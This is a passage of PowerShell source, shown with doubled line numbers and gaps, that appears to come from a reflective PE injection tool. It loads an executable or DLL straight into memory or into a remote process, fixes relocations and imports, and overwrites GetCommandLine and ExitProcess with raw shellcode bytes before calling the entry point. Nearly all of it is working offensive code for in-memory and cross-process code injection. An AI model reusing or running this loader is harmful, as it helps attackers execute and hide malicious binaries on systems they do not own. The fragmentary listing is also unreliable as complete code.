1445
1445
14461446 for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++)
14471447 {
14481448 [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER)))
14491449 $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER)
1450
1450
14511451 #Address to copy the section to
14521452 [IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress))
1453
1453
14541454 #SizeOfRawData is the size of the data on disk, VirtualSize is the minimum space that can be allocated
14551455 # in memory for the section. If VirtualSize > SizeOfRawData, pad the extra spaces with 0. If
14561456 # SizeOfRawData > VirtualSize, it is because the section stored on disk has padding that we can throw away,
14611461 {
14621462 $SizeOfRawData = 0
14631463 }
1464
1464
14651465 if ($SizeOfRawData -gt $SectionHeader.VirtualSize)
14661466 {
14671467 $SizeOfRawData = $SectionHeader.VirtualSize
14681468 }
1469
1469
14701470 if ($SizeOfRawData -gt 0)
14711471 {
14721472 Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null
14731473 [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData)
14741474 }
1475
1475
14761476 #If SizeOfRawData is less than VirtualSize, set memory to 0 for the extra space
14771477 if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize)
14781478 {
14911491 [Parameter(Position = 0, Mandatory = $true)]
14921492 [System.Object]
14931493 $PEInfo,
1494
1494
14951495 [Parameter(Position = 1, Mandatory = $true)]
14961496 [Int64]
14971497 $OriginalImageBase,
1498
1498
14991499 [Parameter(Position = 2, Mandatory = $true)]
15001500 [System.Object]
15011501 $Win32Constants,
1502
1502
15031503 [Parameter(Position = 3, Mandatory = $true)]
15041504 [System.Object]
15051505 $Win32Types
15061506 )
1507
1507
15081508 [Int64]$BaseDifference = 0
15091509 $AddDifference = $true #Track if the difference variable should be added or subtracted from variables
15101510 [UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_BASE_RELOCATION)
1511
1511
15121512 #If the PE was loaded to its expected address or there are no entries in the BaseRelocationTable, nothing to do
15131513 if (($OriginalImageBase -eq [Int64]$PEInfo.EffectivePEHandle) `
15141514 -or ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.Size -eq 0))
15261526 {
15271527 $BaseDifference = Sub-SignedIntAsUnsigned ($PEInfo.EffectivePEHandle) ($OriginalImageBase)
15281528 }
1529
1529
15301530 #Use the IMAGE_BASE_RELOCATION structure to find memory addresses which need to be modified
15311531 [IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddress))
15321532 while($true)
15621562 # Site: http://msdn.microsoft.com/en-us/magazine/cc301808.aspx
15631563 if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) `
15641564 -or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64))
1565 {
1565 {
15661566 #Get the current memory address and update it based off the difference between PE expected base address and actual base address
15671567 [IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset))
15681568 [IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [Type][IntPtr])
1569
1569
15701570 if ($AddDifference -eq $true)
15711571 {
15721572 [IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference))
15741574 else
15751575 {
15761576 [IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference))
1577 }
1577 }
15781578
15791579 [System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null
15801580 }
15841584 Throw "Unknown relocation found, relocation value: $RelocType, relocationinfo: $RelocationInfo"
15851585 }
15861586 }
1587
1587
15881588 $BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.SizeOfBlock))
15891589 }
15901590 }
15961596 [Parameter(Position = 0, Mandatory = $true)]
15971597 [System.Object]
15981598 $PEInfo,
1599
1599
16001600 [Parameter(Position = 1, Mandatory = $true)]
16011601 [System.Object]
16021602 $Win32Functions,
1603
1603
16041604 [Parameter(Position = 2, Mandatory = $true)]
16051605 [System.Object]
16061606 $Win32Types,
1607
1607
16081608 [Parameter(Position = 3, Mandatory = $true)]
16091609 [System.Object]
16101610 $Win32Constants,
1611
1611
16121612 [Parameter(Position = 4, Mandatory = $false)]
16131613 [IntPtr]
16141614 $RemoteProcHandle
16151615 )
1616
1616
16171617 $RemoteLoading = $false
16181618 if ($PEInfo.PEHandle -ne $PEInfo.EffectivePEHandle)
16191619 {
16201620 $RemoteLoading = $true
16211621 }
1622
1622
16231623 if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0)
16241624 {
16251625 [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress)
1626
1626
16271627 while ($true)
16281628 {
16291629 $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)
1630
1630
16311631 #If the structure is null, it signals that this is the end of the array
16321632 if ($ImportDescriptor.Characteristics -eq 0 `
16331633 -and $ImportDescriptor.FirstThunk -eq 0 `
16421642 $ImportDllHandle = [IntPtr]::Zero
16431643 $ImportDllPathPtr = (Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))
16441644 $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr)
1645
1645
16461646 if ($RemoteLoading -eq $true)
16471647 {
16481648 $ImportDllHandle = Import-DllInRemoteProcess -RemoteProcHandle $RemoteProcHandle -ImportDllPathPtr $ImportDllPathPtr
16561656 {
16571657 throw "Error importing DLL, DLLName: $ImportDllPath"
16581658 }
1659
1659
16601660 #Get the first thunk, then loop through all of them
16611661 [IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk)
16621662 [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteristics) #Characteristics is overloaded with OriginalFirstThunk
16631663 [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr])
1664
1664
16651665 while ($OriginalThunkRefVal -ne [IntPtr]::Zero)
16661666 {
16671667 $ProcedureName = ''
16791679 $StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16]))
16801680 $ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr)
16811681 }
1682
1682
16831683 if ($RemoteLoading -eq $true)
16841684 {
16851685 [IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionName $ProcedureName
16951695 [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddressOrdinal.Invoke($ImportDllHandle, $ProcedureName)
16961696 }
16971697 }
1698
1698
16991699 if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero)
17001700 {
17011701 Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath"
17021702 }
17031703
17041704 [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false)
1705
1705
17061706 $ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]))
17071707 [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]))
17081708 [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr])
17091709 }
1710
1710
17111711 $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR))
17121712 }
17131713 }
17201720 [UInt32]
17211721 $SectionCharacteristics
17221722 )
1723
1723
17241724 $ProtectionFlag = 0x0
17251725 if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_EXECUTE) -gt 0)
17261726 {
17721772 }
17731773 }
17741774 }
1775
1775
17761776 if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_NOT_CACHED) -gt 0)
17771777 {
17781778 $ProtectionFlag = $ProtectionFlag -bor $Win32Constants.PAGE_NOCACHE
17791779 }
1780
1780
17811781 return $ProtectionFlag
17821782 }
17831783
17871787 [Parameter(Position = 0, Mandatory = $true)]
17881788 [System.Object]
17891789 $PEInfo,
1790
1790
17911791 [Parameter(Position = 1, Mandatory = $true)]
17921792 [System.Object]
17931793 $Win32Functions,
1794
1794
17951795 [Parameter(Position = 2, Mandatory = $true)]
17961796 [System.Object]
17971797 $Win32Constants,
1798
1798
17991799 [Parameter(Position = 3, Mandatory = $true)]
18001800 [System.Object]
18011801 $Win32Types
18021802 )
1803
1803
18041804 for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++)
18051805 {
18061806 [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER)))
18071807 $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER)
18081808 [IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($SectionHeader.VirtualAddress)
1809
1809
18101810 [UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics
18111811 [UInt32]$SectionSize = $SectionHeader.VirtualSize
1812
1812
18131813 [UInt32]$OldProtectFlag = 0
18141814 Test-MemoryRangeValid -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -PEInfo $PEInfo -StartAddress $SectionPtr -Size $SectionSize | Out-Null
18151815 $Success = $Win32Functions.VirtualProtect.Invoke($SectionPtr, $SectionSize, $ProtectFlag, [Ref]$OldProtectFlag)
18191819 }
18201820 }
18211821 }
1822
1822
18231823 #This function overwrites GetCommandLine and ExitThread which are needed to reflectively load an EXE
18241824 #Returns an object with addresses to copies of the bytes that were overwritten (and the count)
18251825 Function Update-ExeFunctions
18281828 [Parameter(Position = 0, Mandatory = $true)]
18291829 [System.Object]
18301830 $PEInfo,
1831
1831
18321832 [Parameter(Position = 1, Mandatory = $true)]
18331833 [System.Object]
18341834 $Win32Functions,
1835
1835
18361836 [Parameter(Position = 2, Mandatory = $true)]
18371837 [System.Object]
18381838 $Win32Constants,
1839
1839
18401840 [Parameter(Position = 3, Mandatory = $true)]
18411841 [String]
18421842 $ExeArguments,
1843
1843
18441844 [Parameter(Position = 4, Mandatory = $true)]
18451845 [IntPtr]
18461846 $ExeDoneBytePtr
18471847 )
1848
1848
18491849 #This will be an array of arrays. The inner array will consist of: @($DestAddr, $SourceAddr, $ByteCount). This is used to return memory to its original state.
1850 $ReturnArray = @()
1851
1850 $ReturnArray = @()
1851
18521852 $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
18531853 [UInt32]$OldProtectFlag = 0
1854
1854
18551855 [IntPtr]$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("Kernel32.dll")
18561856 if ($Kernel32Handle -eq [IntPtr]::Zero)
18571857 {
18581858 throw "Kernel32 handle null"
18591859 }
1860
1860
18611861 [IntPtr]$KernelBaseHandle = $Win32Functions.GetModuleHandle.Invoke("KernelBase.dll")
18621862 if ($KernelBaseHandle -eq [IntPtr]::Zero)
18631863 {
18691869 # We overwrite it with shellcode to return a pointer to the string ExeArguments, allowing us to pass the exe any args we want.
18701870 $CmdLineWArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments)
18711871 $CmdLineAArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments)
1872
1872
18731873 [IntPtr]$GetCommandLineAAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineA")
18741874 [IntPtr]$GetCommandLineWAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineW")
18751875
18851885 $Shellcode1 += 0x48 #64bit shellcode has the 0x48 before the 0xb8
18861886 }
18871887 $Shellcode1 += 0xb8
1888
1888
18891889 [Byte[]]$Shellcode2 = @(0xc3)
18901890 $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length
1891
1892
1891
1892
18931893 #Make copy of GetCommandLineA and GetCommandLineW
18941894 $GetCommandLineAOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
18951895 $GetCommandLineWOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
19051905 {
19061906 throw "Call to VirtualProtect failed"
19071907 }
1908
1908
19091909 $GetCommandLineAAddrTemp = $GetCommandLineAAddr
19101910 Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineAAddrTemp
19111911 $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp ($Shellcode1.Length)
19121912 [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false)
19131913 $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp $PtrSize
19141914 Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineAAddrTemp
1915
1915
19161916 $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
1917
1918
1917
1918
19191919 #Overwrite GetCommandLineW
19201920 [UInt32]$OldProtectFlag = 0
19211921 $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
19231923 {
19241924 throw "Call to VirtualProtect failed"
19251925 }
1926
1926
19271927 $GetCommandLineWAddrTemp = $GetCommandLineWAddr
19281928 Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp
19291929 $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp ($Shellcode1.Length)
19301930 [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineWArgsPtr, $GetCommandLineWAddrTemp, $false)
19311931 $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp $PtrSize
19321932 Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp
1933
1933
19341934 $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
19351935 #################################################
1936
1937
1936
1937
19381938 #################################################
19391939 #For C++ stuff that is compiled with visual studio as "multithreaded DLL", the above method of overwriting GetCommandLine doesn't work.
19401940 # I don't know why exactly.. But the msvcr DLL that a "DLL compiled executable" imports has an export called _acmdln and _wcmdln.
19421942 # argv and argc values stored in these variables. So the easy thing to do is just overwrite the variable since they are exported.
19431943 $DllList = @("msvcr70d.dll", "msvcr71d.dll", "msvcr80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dll", "msvcr70.dll" `
19441944 , "msvcr71.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr110.dll")
1945
1945
19461946 foreach ($Dll in $DllList)
19471947 {
19481948 [IntPtr]$DllHandle = $Win32Functions.GetModuleHandle.Invoke($Dll)
19541954 {
19551955 "Error, couldn't find _wcmdln or _acmdln"
19561956 }
1957
1957
19581958 $NewACmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments)
19591959 $NewWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments)
1960
1960
19611961 #Make a copy of the original char* and wchar_t* so these variables can be returned back to their original state
19621962 $OrigACmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ACmdLnAddr, [Type][IntPtr])
19631963 $OrigWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WCmdLnAddr, [Type][IntPtr])
19671967 [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigWCmdLnPtr, $OrigWCmdLnPtrStorage, $false)
19681968 $ReturnArray += ,($ACmdLnAddr, $OrigACmdLnPtrStorage, $PtrSize)
19691969 $ReturnArray += ,($WCmdLnAddr, $OrigWCmdLnPtrStorage, $PtrSize)
1970
1970
19711971 $Success = $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
19721972 if ($Success = $false)
19731973 {
19751975 }
19761976 [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewACmdLnPtr, $ACmdLnAddr, $false)
19771977 $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null
1978
1978
19791979 $Success = $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
19801980 if ($Success = $false)
19811981 {
19861986 }
19871987 }
19881988 #################################################
1989
1990
1989
1990
19911991 #################################################
19921992 #Next overwrite CorExitProcess and ExitProcess to instead ExitThread. This way the entire Powershell process doesn't die when the EXE exits.
19931993
19941994 $ReturnArray = @()
19951995 $ExitFunctions = @() #Array of functions to overwrite so the thread doesn't exit the process
1996
1996
19971997 #CorExitProcess (compiled in to visual studio c++)
19981998 [IntPtr]$MscoreeHandle = $Win32Functions.GetModuleHandle.Invoke("mscoree.dll")
19991999 if ($MscoreeHandle -eq [IntPtr]::Zero)
20062006 Throw "CorExitProcess address not found"
20072007 }
20082008 $ExitFunctions += $CorExitProcessAddr
2009
2009
20102010 #ExitProcess (what non-managed programs use)
20112011 [IntPtr]$ExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitProcess")
20122012 if ($ExitProcessAddr -eq [IntPtr]::Zero)
20142014 Throw "ExitProcess address not found"
20152015 }
20162016 $ExitFunctions += $ExitProcessAddr
2017
2017
20182018 [UInt32]$OldProtectFlag = 0
20192019 foreach ($ProcExitFunctionAddr in $ExitFunctions)
20202020 {
20312031 }
20322032 [Byte[]]$Shellcode3 = @(0xff, 0xd3)
20332033 $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + $PtrSize + $Shellcode3.Length
2034
2034
20352035 [IntPtr]$ExitThreadAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitThread")
20362036 if ($ExitThreadAddr -eq [IntPtr]::Zero)
20372037 {
20432043 {
20442044 Throw "Call to VirtualProtect failed"
20452045 }
2046
2046
20472047 #Make copy of original ExitProcess bytes
20482048 $ExitProcessOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
20492049 $Win32Functions.memcpy.Invoke($ExitProcessOrigBytesPtr, $ProcExitFunctionAddr, [UInt64]$TotalSize) | Out-Null
20502050 $ReturnArray += ,($ProcExitFunctionAddr, $ExitProcessOrigBytesPtr, $TotalSize)
2051
2052 #Write the ExitThread shellcode to memory. This shellcode will write 0x01 to ExeDoneBytePtr address (so PS knows the EXE is done), then
2051
2052 #Write the ExitThread shellcode to memory. This shellcode will write 0x01 to ExeDoneBytePtr address (so PS knows the EXE is done), then
20532053 # call ExitThread
20542054 Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $ProcExitFunctionAddrTmp
20552055 $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode1.Length)
20672067
20682068 Write-Output $ReturnArray
20692069 }
2070
2071
2070
2071
20722072 #This function takes an array of arrays, the inner array of format @($DestAddr, $SourceAddr, $Count)
20732073 # It copies Count bytes from Source to Destination.
20742074 Function Copy-ArrayOfMemAddresses
20772077 [Parameter(Position = 0, Mandatory = $true)]
20782078 [Array[]]
20792079 $CopyInfo,
2080
2080
20812081 [Parameter(Position = 1, Mandatory = $true)]
20822082 [System.Object]
20832083 $Win32Functions,
2084
2084
20852085 [Parameter(Position = 2, Mandatory = $true)]
20862086 [System.Object]
20872087 $Win32Constants
20952095 {
20962096 Throw "Call to VirtualProtect failed"
20972097 }
2098
2098
20992099 $Win32Functions.memcpy.Invoke($Info[0], $Info[1], [UInt64]$Info[2]) | Out-Null
2100
2100
21012101 $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
21022102 }
21032103 }
21122112 [Parameter(Position = 0, Mandatory = $true)]
21132113 [IntPtr]
21142114 $PEHandle,
2115
2115
21162116 [Parameter(Position = 1, Mandatory = $true)]
21172117 [String]
21182118 $FunctionName
21192119 )
2120
2120
21212121 $Win32Types = Get-Win32Types
21222122 $Win32Constants = Get-Win32Constants
21232123 $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
2124
2124
21252125 #Get the export table
21262126 if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.Size -eq 0)
21272127 {
21292129 }
21302130 $ExportTablePtr = Add-SignedIntAsUnsigned ($PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress)
21312131 $ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, [Type]$Win32Types.IMAGE_EXPORT_DIRECTORY)
2132
2132
21332133 for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++)
21342134 {
21352135 #AddressOfNames is an array of pointers to strings of the names of the functions exported
21482148 return Add-SignedIntAsUnsigned ($PEHandle) ($FuncOffset)
21492149 }
21502150 }
2151
2151
21522152 return [IntPtr]::Zero
21532153 }
21542154
21592159 [Parameter( Position = 0, Mandatory = $true )]
21602160 [Byte[]]
21612161 $PEBytes,
2162
2162
21632163 [Parameter(Position = 1, Mandatory = $false)]
21642164 [String]
21652165 $ExeArgs,
2166
2166
21672167 [Parameter(Position = 2, Mandatory = $false)]
21682168 [IntPtr]
21692169 $RemoteProcHandle
21702170 )
2171
2171
21722172 $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
2173
2173
21742174 #Get Win32 constants and functions
21752175 $Win32Constants = Get-Win32Constants
21762176 $Win32Functions = Get-Win32Functions
21772177 $Win32Types = Get-Win32Types
2178
2178
21792179 $RemoteLoading = $false
21802180 if (($RemoteProcHandle -ne $null) -and ($RemoteProcHandle -ne [IntPtr]::Zero))
21812181 {
21822182 $RemoteLoading = $true
21832183 }
2184
2184
21852185 #Get basic PE information
21862186 Write-Verbose "Getting basic PE information from the file"
21872187 $PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types
21922192 Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue
21932193 $NXCompatible = $false
21942194 }
2195
2196
2195
2196
21972197 #Verify that the PE and the current process are the same bits (32bit or 64bit)
21982198 $Process64Bit = $true
21992199 if ($RemoteLoading -eq $true)
22042204 {
22052205 Throw "Couldn't locate IsWow64Process function to determine if target process is 32bit or 64bit"
22062206 }
2207
2207
22082208 [Bool]$Wow64Process = $false
22092209 $Success = $Win32Functions.IsWow64Process.Invoke($RemoteProcHandle, [Ref]$Wow64Process)
22102210 if ($Success -eq $false)
22112211 {
22122212 Throw "Call to IsWow64Process failed"
22132213 }
2214
2214
22152215 if (($Wow64Process -eq $true) -or (($Wow64Process -eq $false) -and ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4)))
22162216 {
22172217 $Process64Bit = $false
22182218 }
2219
2219
22202220 #PowerShell needs to be same bit as the PE being loaded for IntPtr to work correctly
22212221 $PowerShell64Bit = $true
22222222 if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8)
22392239 {
22402240 Throw "PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)"
22412241 }
2242
2242
22432243
22442244 #Allocate memory and write the PE to memory. If the PE supports ASLR, allocate to a random memory address
22452245 Write-Verbose "Allocating memory for the PE and write its headers to memory"
2246
2246
22472247 [IntPtr]$LoadAddr = [IntPtr]::Zero
22482248 if (([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE)
22492249 {
22572257 {
22582258 #Allocate space in the remote process, and also allocate space in PowerShell. The PE will be setup in PowerShell and copied to the remote process when it is setup
22592259 $PEHandle = $Win32Functions.VirtualAlloc.Invoke([IntPtr]::Zero, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
2260
2260
22612261 #todo, error handling needs to delete this memory if an error happens along the way
22622262 $EffectivePEHandle = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, $LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
22632263 if ($EffectivePEHandle -eq [IntPtr]::Zero)
22772277 }
22782278 $EffectivePEHandle = $PEHandle
22792279 }
2280
2280
22812281 [IntPtr]$PEEndAddress = Add-SignedIntAsUnsigned ($PEHandle) ([Int64]$PEInfo.SizeOfImage)
22822282 if ($PEHandle -eq [IntPtr]::Zero)
2283 {
2283 {
22842284 Throw "VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new PowerShell process (the new PowerShell process will have a different memory layout, so the address the PE wants might be free)."
2285 }
2285 }
22862286 [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $PEHandle, $PEInfo.SizeOfHeaders) | Out-Null
2287
2288
2287
2288
22892289 #Now that the PE is in memory, get more detailed information about it
22902290 Write-Verbose "Getting detailed PE information from the headers loaded in memory"
22912291 $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
22922292 $PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress
22932293 $PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle
22942294 Write-Verbose "StartAddress: $PEHandle EndAddress: $PEEndAddress"
2295
2296
2295
2296
22972297 #Copy each section from the PE in to memory
22982298 Write-Verbose "Copy PE sections in to memory"
22992299 Copy-Sections -PEBytes $PEBytes -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types
2300
2301
2300
2301
23022302 #Update the memory addresses hardcoded in to the PE based on the memory address the PE was expecting to be loaded to vs where it was actually loaded
23032303 Write-Verbose "Update memory addresses based on where the PE was actually loaded in memory"
23042304 Update-MemoryAddresses -PEInfo $PEInfo -OriginalImageBase $OriginalImageBase -Win32Constants $Win32Constants -Win32Types $Win32Types
23052305
2306
2306
23072307 #The PE we are in-memory loading has DLLs it needs, import those DLLs for it
23082308 Write-Verbose "Import DLL's needed by the PE we are loading"
23092309 if ($RemoteLoading -eq $true)
23142314 {
23152315 Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants
23162316 }
2317
2318
2317
2318
23192319 #Update the memory protection flags for all the memory just allocated
23202320 if ($RemoteLoading -eq $false)
23212321 {
23332333 {
23342334 Write-Verbose "PE being loaded in to a remote process, not adjusting memory permissions"
23352335 }
2336
2337
2336
2337
23382338 #If remote loading, copy the DLL in to remote process memory
23392339 if ($RemoteLoading -eq $true)
23402340 {
23452345 Throw "Unable to write shellcode to remote process memory."
23462346 }
23472347 }
2348
2349
2348
2349
23502350 #Call the entry point, if this is a DLL the entrypoint is the DllMain function, if it is an EXE it is the Main function
23512351 if ($PEInfo.FileType -ieq "DLL")
23522352 {
